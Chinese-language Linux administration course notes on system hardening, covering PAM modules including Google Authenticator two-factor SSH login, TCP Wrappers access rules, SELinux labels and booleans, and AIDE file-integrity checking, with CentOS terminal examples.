[root@centos8 ~]#su - wang
Last login: Mon May 25 14:40:38 CST 2020 on pts/0
[wang@centos8 ~]$ulimit -n
66666

案例:限制me用户最大的同时登录次数

[root@centos8 ~]#tail -n1 /etc/security/limits.conf
me    -   maxlogins   2
[root@centos8 ~]#who
me    tty1    2020-05-25 14:35
root    pts/0   2020-05-25 14:35 (10.0.0.1)
root    pts/3   2020-05-25 14:06 (10.0.0.1)
me    tty3    2020-05-25 14:35

生产案例:

vim /etc/security/limits.conf
*   -   core        unlimited
*   -   nproc       1000000
*   -   nofile      1000000
root   -   nofile      1000000
*   -   memlock     32000
*   -   msgqueue    8192000

#只对非 root 用户起作用。而 root 用户的限制,必须显式添加

pam_google_authenticator 模块

什么是MFA?

Multi-Factor Authentication (MFA) 多因子验证,是一种简单有效的最佳安全实践方法,它能够在用户名和密码之外再额外增加一层安全保护。

功能:实现SSH登录的两次身份验证,先验证APP的数字码,再验证root用户的密码,都通过才可以登录。

官方网站:https://github.com/google/google-authenticator-android

范例:

  • 在手机应用市场搜索:身份验证器或authenticator,并安装APP或者也可以使用微信小程序MinaOTP
  • 运行脚本(需要有epel源),本质是修改了/etc/pam.d/sshd文件,将google的PAM模块加入进去实现
[root@centos8 ~]#dnf info google-authenticator
Name         : google-authenticator

#安装,需先安装epel源
[root@centos8 ~]#yum install -y epel-release
[root@centos8 ~]#yum install -y  google-authenticator.x86_64

#执行,所有选项都执行y
[root@centos8 ~]#google-authenticator 
Do you want authentication tokens to be time-based (y/n) y
Warning: pasting the following URL into your browser exposes the OTP secret to Google:


访问生成的url(需要科学上网):

https://www.google.com/chart?
chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/[email protected]%3Fsecret%3D7YTAL4GW3TND7BICUMJGJLIFVE%26issuer%3Dcentos8.localdomain
image-20210120200839771.webp

打开用身份验证器APP,扫网页上的二维码,进行绑定手机

image-20210120200903716.webp

继续上面的安装配置向导,输入手机APP上的数字,后续都回答 y 即可

Failed to use libqrencode to show QR code visually for scanning.
Consider typing the OTP secret into your app manually.
Your new secret key is: LLFWOV6CYA5Z3LRIOFGKIQVREQ
Enter code from app (-1 to skip): 955339  #手机APP上的数字
Code confirmed
Your emergency scratch codes are:
#下面生成的数字需要保存,以防止手机丢失无法登录时使用,那个使用过后就消失了
需要添加的话可以在/root/.google_authenticator文件中添加
  48958542
  44641379
  74831968
  24770818
  95685545

Do you want me to update your "/root/.google_authenticator" file? (y/n) y

Do you want to disallow multiple uses of the same authentication
token? This restricts you to one login about every 30s, but it increases
your chances to notice or even prevent man-in-the-middle attacks (y/n) y

By default, a new token is generated every 30 seconds by the mobile app.
In order to compensate for possible time-skew between the client and the server,
we allow an extra token before and after the current time. This allows for a
time skew of up to 30 seconds between authentication server and client. If you
experience problems with poor time synchronization, you can increase the window
from its default size of 3 permitted codes (one previous code, the current
code, the next code) to 17 permitted codes (the 8 previous codes, the current
code, and the 8 next codes). This will permit for a time skew of up to 4 minutes
between client and server.
Do you want to do so? (y/n) y

If the computer that you are logging into isn't hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 30s.
Do you want to enable rate-limiting? (y/n) y

#在/etc/pam.d/sshd中添加
sed -i '1a\auth required pam_google_authenticator.so' /etc/pam.d/sshd

#修改sshd配置文件/etc/ssh/sshd_config中ChallengeResponseAuthentication yes
sed -i 's/.*ChallengeResponseAuthentication.*/ChallengeResponseAuthentication yes/' /etc/ssh/sshd_config
#重启ssh服务
systemctl restart sshd

ssh当前主机,可看到提示,输入手机APP上显示的数字码和root密码,可以登录, 否则失败

[root@Centos7 ~]#ssh 10.0.0.8
Verification code: 
Password: 
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Tue May 26 17:28:13 2020 from 10.0.0.1

临时口令存放在/root/.google_authenticator中,用一次删除一个,可手动加入使用

[root@centos8 ~]#cat .google_authenticator 
LLFWOV6CYA5Z3LRIOFGKIQVREQ
" RATE_LIMIT 3 30 1590486032
" WINDOW_SIZE 17
" DISALLOW_REUSE 53016201
" TOTP_AUTH
48958542
44641379
74831968
24770818
95685545

范例:安装配置脚本

cat google-authenticator.sh
#安装epel
yum install -y epel-release.noarch
yum makecache
#安装google authenticator
yum install -y google-authenticator.x86_64


echo -e "\033[31mDo you want me to update your "/root/.google_authenticator"
file? (y/n) y"
echo -e "\033[31m你希望我更新你的“/root/.google_authenticator”文件吗(y/n)?\033[0m"
echo -e "\033[31mDo you want to disallow multiple uses of the same
authentication"
echo -e "\033[31mtoken? This restricts you to one login about every 30s, but it
increases"
echo -e "\033[31myour chances to notice or even prevent man-in-the-middle
attacks (y/n) y"
echo -e "\033[31m你希望禁止多次使用同一个验证令牌吗?这限制你每次登录的时间大约是30秒, 但是这加大了发现或甚至防止中间人攻击的可能性(y/n)?\033[0m"
echo -e "\033[31mBy default, a new token is generated every 30 seconds by the
mobile app."
echo -e "\033[31mIn order to compensate for possible time-skew between the
client and the server,"
echo -e "\033[31mwe allow an extra token before and after the current time. This allows for a"
echo -e "\033[31mtime skew of up to 30 seconds between authentication server and client. If you"
echo -e "\033[31mexperience problems with poor time synchronization, you can
increase the window"
echo -e "\033[31mfrom its default size of 3 permitted codes (one previous code,
the current"
echo -e "\033[31mcode, the next code) to 17 permitted codes (the 8 previous
codes, the current"
echo -e "\033[31mcode, and the 8 next codes). This will permit for a time skew
of up to 4 minutes"
echo -e "\033[31mbetween client and server."
echo -e "\033[31mDo you want to do so? (y/n) y"
echo -e "\033[31m默认情况下,令牌保持30秒有效;为了补偿客户机与服务器之间可能存在的时滞,\033[0m"
echo -e "\033[31m我们允许在当前时间前后有一个额外令牌。如果你在时间同步方面遇到了问题, 可以增加窗口从默认的3个可通过验证码增加到17个可通过验证码,\033[0m"
echo -e "\033[31m这将允许客户机与服务器之间的时差增加到4分钟。你希望这么做吗(y/n)?\033[0m"
echo -e "\033[31mIf the computer that you are logging into isn't hardened
against brute-force"
echo -e "\033[31mlogin attempts, you can enable rate-limiting for the
authentication module."
echo -e "\033[31mBy default, this limits attackers to no more than 3 login
attempts every 30s."
echo -e "\033[31mDo you want to enable rate-limiting? (y/n) y"
echo -e "\033[31m如果你登录的那台计算机没有经过固化,以防范运用蛮力的登录企图,可以对验证模块\033[0m"
echo -e "\033[31m启用尝试次数限制。默认情况下,这限制攻击者每30秒试图登录的次数只有3次。 你希望启用尝试次数限制吗(y/n)?\033[0m"
echo -e "\033[32m 在App Store 搜索Google Authenticator 进行App安装 \033[0m"

google-authenticator

#/etc/pam.d/sshd文件,修改或添加下行保存
#auth required pam_google_authenticator.so
sed -i '1a\auth required pam_google_authenticator.so' /etc/pam.d/sshd
#编辑/etc/ssh/sshd_config找到下行
#ChallengeResponseAuthentication no
#更改为
#ChallengeResponseAuthentication yes # 是否允许质疑-应答(challenge-response)认证。默认值是"yes"
sed -i 's/.*ChallengeResponseAuthentication.*/ChallengeResponseAuthentication yes/' /etc/ssh/sshd_config

#重启SSH服务
service sshd restart

pam_succeed_if 模块

功能:根据参数中的所有条件都满足才返回成功

案例:ubuntu默认不允许root登录桌面图形

#用root登录桌面失败,查看日志,可看到Pam原因

Vim /etc/pam.d/gdm-passwd
#将下面行注释
#auth requried pam_succeed_if.so user !=root quiet_success

pam_access.so 模块

功能:根据/etc/secruity/access.conf文件控制用户的登录地点

http://www.linux-pam.org/Linux-PAM-html/sag-pam_access.html

配置文件格式

permission:users/groups:origins

格式说明
permission:可以是 “+”或”-”,表示允许或拒绝。
user      :可以是用户名、用户组名,ALL 表示所有用户。
origins   :登录地点。
    local表示本地,ALL表示所有地点, console表示控制台登录

关键字: EXCEPT表示除了
注意:root账户的登录地点不在access.conf文件中控制,而是由/etc/securetty文件控制。

范例:

# 除了用户wheel、shutdown、sync禁止所有的控制台登录:
-:ALL EXCEPT wheel shutdown sync:console

# 组合
+:root:ALL          # root从任意位置连入系统
+:redhat:164.70.12. # redhat只能从这个网段连入
-:ALL:ALL           # 其余DENY

pam_securetty.so 模块

功能:只允许root用户在/etc/securetty列出的安全终端上登陆

范例:CentOS7 允许root在telnet登陆

注意: CentOS8没有调用此模块,所以默认允许root远程登录telnet

# 远程登录时终端类型都是pts的,/etc/securetty中没有pts类型

vi /etc/pam.d/remote # 远程登录pam模块
#将下面一行加上注释
#auth required pam_securetty.so

#或者/etc/securetty文件中加入
pts/0,pts/1…pts/n

#测试用root telnet登录

范例:在CentOS8上实现pam_securetty.so模块禁止root远程登录telnet服务

#默认CentOS8 允许root远程telnet登录
[root@centos7 ~]#telnet 10.0.0.8
Escape character is '^]'.

Kernel 4.18.0-147.el8.x86_64 on an x86_64
centos8 login: root
Password:
Last login: Mon May 25 11:51:08 from 10.0.0.1
[root@centos8 ~]#

#修改配置不允许root远程telnet登录
[root@centos8 ~]#vim /etc/pam.d/remote
#%PAM-1.0
auth required pam_securetty.so
[root@centos7 ~]#scp /etc/securetty 10.0.0.8:/etc

#测试
[root@centos7 ~]#telnet 10.0.0.8
Escape character is '^]'.

Kernel 4.18.0-147.el8.x86_64 on an x86_64
centos8 login: wang
Password:
Last login: Mon May 25 12:06:21 from ::ffff:10.0.0.6
[wang@centos8 ~]$exit
logout
Connection closed by foreign host.
[root@centos7 ~]#telnet 10.0.0.8
Escape character is '^]'.

Kernel 4.18.0-147.el8.x86_64 on an x86_64
centos8 login: root
Password:
Login incorrect

centos8 login:

pam_time.so 模块

范例:限制用户LOGIN时间

# redhat每星期二晚上22:00-22:30不能使用SSH来login系统
vi /etc/security/time.conf
sshd;*;redhat;!Tu2200-2230

vi /etc/pam.d/sshd
account required pam_time.so

pam_listfile.so 模块

范例:用户访问控制

用户访问控制
vi /etc/pam.d/vsftpd 加入以下一行
auth required pam_listfile.so item=user sense=deny file=/etc/ftpusers onerr=succeed
vi /etc/ftpusers ……

pam_shells 模块

功能:检查有效shell

帮助:man pam_shells

案例:不允许使用/bin/csh的用户本地登录

[root@centos8 ~]#yum -y install csh
[root@centos8 ~]#vim /etc/pam.d/login
auth required pam_shells.so

[root@centos8 ~]#vim /etc/shells
去掉 /bin/csh

[root@centos8 ~]#useradd –s /bin/csh testuser

#testuser将不可登录
[root@centos8 ~]#tail /var/log/secure

TCP Warpper

centos8已经淘汰这个了

TCP_Wrappers介绍

作者:Wieste Venema,IBM,Google,工作在第四层(传输层)的TCP协议,对 有状态连接的特定服务进行安全检测并实现访问控制,以库文件形式实现某进程 是否接受libwrap的控制取决于发起此进程的程序在编译时是否针对libwrap进行 编译的

判断服务程序是否能够由tcp_wrapper进行访问控制的方法:

ldd /PATH/TO/PROGRAM|grep libwrap.so

范例:

[root@centos7 ~]#ldd `which sshd ` |grep libwra
libwrap.so.0 => /lib64/libwrap.so.0 (0x00007f58c2249000)

[root@centos8 ~]#ldd `which sshd ` |grep libwrap

TCP_Wrappers的使用

配置文件:/etc/hosts.allow, /etc/hosts.deny

帮助参考: man 5 hosts_access , man 5 hosts_options

检查顺序:hosts.allow,hosts.deny(默认允许),注意:一旦前面规则匹配, 直接生效,将不再继续

判断某服务是否能够由tcp_wrapper进行访问控制的方法:

1) 动态编译:ldd命令;
ldd $(which COMMAND) | grep libwrap
2) 静态编译:strings命令查看应用程序文件,其结果中是否出现了hosts.allow和hosts.deny文件;

注意:
CentOS6主机上的telnet服务托管于xinetd,后者接受libwrap控制;
CentOS7主机上的telnet服务未托管于xinetd,而in.telnetd程序未链接至libwrap;

配置基本语法:

daemon_list@host: client_list [ :options :option… ]
  1. Daemon_list@host 格式
单个应用程序的二进制文件名,而非服务名,例如vsftpd
以逗号或空格分隔的应用程序文件名列表,如:sshd,vsftpd
ALL表示所有接受tcp_wrapper控制的服务程序
主机有多个IP,可用@hostIP来实现控制,如:[email protected]

2.客户端 Client_list 格式

以逗号或空格分隔的客户端列表
基于IP地址:192.168.10.1     192.168.1.
基于主机名:www.meu.com .meu.com 较少用
基于网络/掩码:192.168.0.0/255.255.255.0
基于net/prefixlen: 192.168.1.0/24(CentOS7)
基于网络组(NIS 域):@mynetwork
内置ACL:
    ALL:所有主机;
    KNOWN: 所有已知可以解析的主机
    UNKNOWN:主机名不能反解的主机
    PARANOID:正向解析和安详解析不匹配的主机

EXCEPT     排除相关地址

范例:EXCEPT用法

vsftpd: 172.16. EXCEPT 172.16.100.0/24 EXCEPT 172.16.100.1

范例:只允许192.168.1.0/24的主机访问sshd

/etc/hosts.allow
sshd: 192.168.1.             
/etc/hosts.deny         
sshd :ALL

范例:只允许192.168.1.0/24的主机访问telnet和vsftpd服务

/etc/hosts.allow
vsftpd,in.telnetd: 192.168.1.
/etc/host.deny
vsftpd,in.telnetd: ALL

[:options] 选项格式:帮助:man 5 hosts_options

  • deny 主要用在/etc/hosts.allow定义“拒绝”规则,如:vsftpd: 172.16. :deny
  • allow 主要用在/etc/hosts.deny定义“允许”规则,如:vsftpd:172.16. :allow
  • spawn 启动一个外部程序完成执行的操作
  • twist 实际动作是拒绝访问,使用指定操作替换当前服务,标准输出和ERROR发 送到客户端,默认至/dev/null

范例:

vim /etc/hosts.allow
sshd: ALL :spawn echo "$(date +%%F) login attempt from %c to %s,%d" >>/var/log/sshd.log

说明:
在/etc/hosts.allow中添加,允许登录,并记录日志
在/etc/hosts.deny中添加,拒绝登录,并记录日志
%c 客户端信息
%s 服务器端信息
%d 服务名
%p 守护进程的PID
%% 表示%

范例:

vim /etc/hosts.allow
vsftpd: 172.16. :twist /bin/echo "connection prohibited"

测试工具tcpdmatch

tcpdmatch [-d] daemon[@host] client

选项: -d 测试当前目录下的hosts.allow和hosts.deny

范例:

tcpdmatch -d sshd 192.168.8.100

练习仅开放本机两个IP地址中的一个地址172.16.0.X上绑定的sshd和vsftpd服务 给172.16.0.0/16网络中除了172.16.0.0/24网络中的主机之外的所有主机,但允 许172.16.0.200访问,每次的用户访问都要记录于日志文件中,注:其中X为学号

编写脚本/root/bin/checkip.sh,每5分钟检查一次,如果发现通过ssh登录失败 次数超过10次,自动将此远程IP放入Tcp Wrapper的黑名单中予以禁止防问

SELinux

SELinux 介绍和工作原理

SELinux 介绍

SELinux:Security-Enhanced Linux, 是美国国家安全局(NSA=The National Security Agency)和 SCC(Secure Computing Corporation)开发的Linux的一个 强制访问控制的安全模块。2000年以GNU GPL发布,Linux内核2.6版本后集成在 内核中

DAC:Discretionary Access Control自由访问控制

MAC:Mandatory Access Control 强制访问控制

DAC环境下进程是无束缚的

MAC环境下策略的规则决定控制的严格程度

MAC环境下进程可以被限制的策略被用来定义被限制的进程能够使用那些资源(文件和端口)

默认情况下,没有被明确允许的行为将被拒绝

SELinux 相关概念

对象(object):所有可以读取的对象,包括文件、目录和进程,端口等

主体:进程称为主体(subject)

SELinux中对所有的文件都赋予一个type的文件类型标签,对于所有的进程也赋 予各自的一个domain的标签。domain标签能够执行的操作由安全策略里定义

当一个subject试图访问一个object,Kernel中的策略执行服务器将检查AVC (访 问矢量缓存Access Vector Cache),在AVC中,subject和object的权限被缓存 (cached),查找“应用+文件”的安全环境。然后根据查询结果允许或拒绝访问

安全策略:定义主体读取对象的规则数据库,规则中记录了哪个类型的主体使用 哪个方法读取哪一个对象是允许还是拒绝的,并且定义了哪种行为是充许或拒绝

image-20210120203627879.webp

SELinux有四种工作类型

  • Strict:CentOS 5,每个进程都受到selinux的控制
  • targeted:用来保护常见的网络服务,仅有限进程受到selinux控制,只监控容 易被入侵的进程,CentOS 4只保护13个服务,CentOS 5保护88个服务
  • minimum:CentOS 7,修改的 targeted,只对选择的网络服务
  • mls:提供MLS(多级安全)机制的安全性

targeted为默认类型,minimum和mls稳定性不足,未加以应用,strict已不再使用

SELinux安全上下文

传统Linux,一切皆文件,由用户,组,权限控制访问,在SELinux中,一切皆对 象(object),由存放在inode的扩展属性域的安全元素所控制其访问,所有文 件和端口资源和进程都具备安全标签:安全上下文(security context)

安全上下文有五个元素组成:

user:role:type:sensitivity:category

实际上下文:存放在文件系统中, ls -Z;ps -Z

期望(默认)上下文:存放在二进制的SELinux策略库(映射目录和期望安全上下 文)中 semanage fcontext -l

五个安全元素

  • User:指示登录系统的用户类型,进程:如system_u为系统服务进程,是受到 管制的,unconfined_u为不管制的进程,用户自己开启的,如 bash,文件: system_u系统进程创建的文件, unconfined_u为用户自已创建的文件
  • Role:定义文件,进程和用户的用途:进程:system_r为系统服务进程,受到 管制。unconfined_r 为不管制进程,通常都是用户自己开启的,如 bash,文 件:object_r
  • Type:指定数据类型,规则中定义何种进程类型访问何种文件Target策略基于 type实现,多服务共用:public_content_t
  • Sensitivity:限制访问的需要,由组织定义的分层安全级别,如 unclassified,secret,top,secret, 一个对象有且只有一个sensitivity,分 0-15级,s0最低,Target策略默认使用s0
  • Category:对于特定组织划分不分层的分类,如FBI Secret,NSA secret, 一 个对象可以有多个categroy, c0-c1023共1024个分类, Target 策略不使用 category

启用和禁用SELinux

SELinux的状态:

  • enforcing:强制,每个受限的进程都必然受限
  • permissive:允许,每个受限的进程违规操作不会被禁止,但会被记录于审计日志
  • disabled:禁用

相关命令:

  • getenforce: 获取selinux当前状态
  • sestatus :查看selinux状态
  • setenforce 0|1 0: 设置为permissive 1: 设置为enforcing

范例:关闭selinux

setenforce 0
sed -ri '/^[^#]*SELINUX=/s#=.+$#=disabled#' /etc/selinux/config

配置文件:

/boot/grub/grub.conf 在kernel行使用selinux=0禁用SELinux
/boot/grub2/grub.cfg 在linux16行使用selinux=0禁用SELinux
/etc/selinux/config 或 /etc/sysconfig/selinux 中 SELINUX={disabled|enforcing|permissive}

管理文件安全标签

给文件重新打安全标签chcon:

chcon [OPTION]... [-u USER] [-r ROLE] [-t TYPE] FILE...
chcon [OPTION]... --reference=RFILE FILE...
-R:递归打标

恢复目录或文件默认的安全上下文:

restorecon [-R] /path/to/somewhere

默认安全上下文查询与修改semanage:来自policycoreutils-python包

#查看默认的安全上下文
semanage fcontext –l

#添加安全上下文
semanage fcontext     -a –t httpd_sys_content_t     ‘/testdir(/.*)?’
restorecon –Rv /testdir

#删除安全上下文
semanage fcontext     -d –t httpd_sys_content_t     ‘/testdir(/.*)?’

管理端口标签

#查看端口标签
semanage port –l

#添加端口
semanage port -a -t port_label -p tcp|udp PORT
semanage port -a -t http_port_t     -p tcp 9527

#删除端口
semanage port -d -t port_label -p tcp|udp PORT
semanage port -d -t http_port_t     -p tcp 9527

#修改现有端口为新标签
semanage port -m -t port_label -p tcp|udp PORT
semanage port -m -t http_port_t -p tcp 9527

管理SELinux布尔值开关

#布尔型规则:
getsebool
setsebool

#查看bool命令:
getsebool [-a] [boolean]
semanage boolean –l
semanage boolean -l –C 查看修改过的布尔值

#设置bool值命令:
setsebool [-P] boolean value(on,off)
setsebool [-P] Boolean=value(1,0)

管理日志

yum install setroubleshoot(重启生效)

将错误的信息写入/var/log/message

grep setroubleshoot /var/log/messages

查看安全事件日志说明

sealert -l UUID

扫描并分析日志

sealert -a /var/log/audit/audit.log

查看SELinux帮助

yum –y install selinux-policy-devel ( centos7.2)
yum –y install selinux-policy-doc
mandb | makewhatis
man -k _selinux

文件完整性检查AIDE(dvanced Intrusion Detection Environment)

当一个入侵者进入了你的系统并且种植了木马,通常会想办法隐蔽这个木马(除 了木马自身的一些隐蔽特性外,他会尽量给你检查系统的过程设置障碍),通常 入侵者会修改一些文件,比如管理员通常用ps aux来查看系统进程,那么入侵者 很可能用自己经过修改的ps程序来替换掉你系统上的ps程序,以使用ps命令查不 到正在运行的木马程序。如果入侵者发现管理员正在运行crontab作业,也有可 能替换掉crontab程序等等。所以由此可以看出对于系统文件或是关键文件的检 查是很必要的。目前就系统完整性检查的工具用的比较多的有两款:Tripwire和 AIDE,前者是一款商业软件,后者是一款免费的但功能也很强大的工具

AIDE(Advanced Intrusion Detection Environment高级入侵检测环境)是一个入 侵检测工具,主要用途是检查文件的完整性,审计计算机上的那些文件被更改过 了

AIDE能够构造一个指定文件的数据库,它使用aide.conf作为其配置文件。AIDE 数据库能够保存文件的各种属性,包括:权限(permission)、索引节点序号 (inode number)、所属用户(user)、所属用户组(group)、文件大小、最后修改 时间(mtime)、创建时间(ctime)、最后访问时间(atime)、增加的大小以及连接 数。AIDE还能够使用下列算法:sha1、md5、rmd160、tiger,以密文形式建立每 个文件的校验码或散列号

image-20210120155204403.webp

这个数据库不应该保存那些经常变动的文件信息,例如:日志文件、邮件、 /proc文件系统、用户起始目录以及临时目录

安装 AIDE

yum install aide

配置文件指定对哪些文件进行检测

vim /etc/aide.conf

配置范例:

#定义监控项权限+索引节点+链接数+用户+组+大小+最后一次修改时间+创建时间+md5校验值
R=p+i+n+u+g+s+m+c+md5
NORMAL = R+rmd60+sha256
/data/test.txt R
/bin/ps R+a
/usr/bin/crontab R+a
/etc PERMS
!/etc/mtab #“!”表示忽略这个文件的检查

初始化默认的AIDE的库:

/usr/local/bin/aide -i | --init

生成检查数据库(建议初始数据库存放到安全的地方)

cd /var/lib/aide
mv aide.db.new.gz aide.db.gz

检测

/usr/local/bin/aide -C | --check

更新数据库

aide -u | --update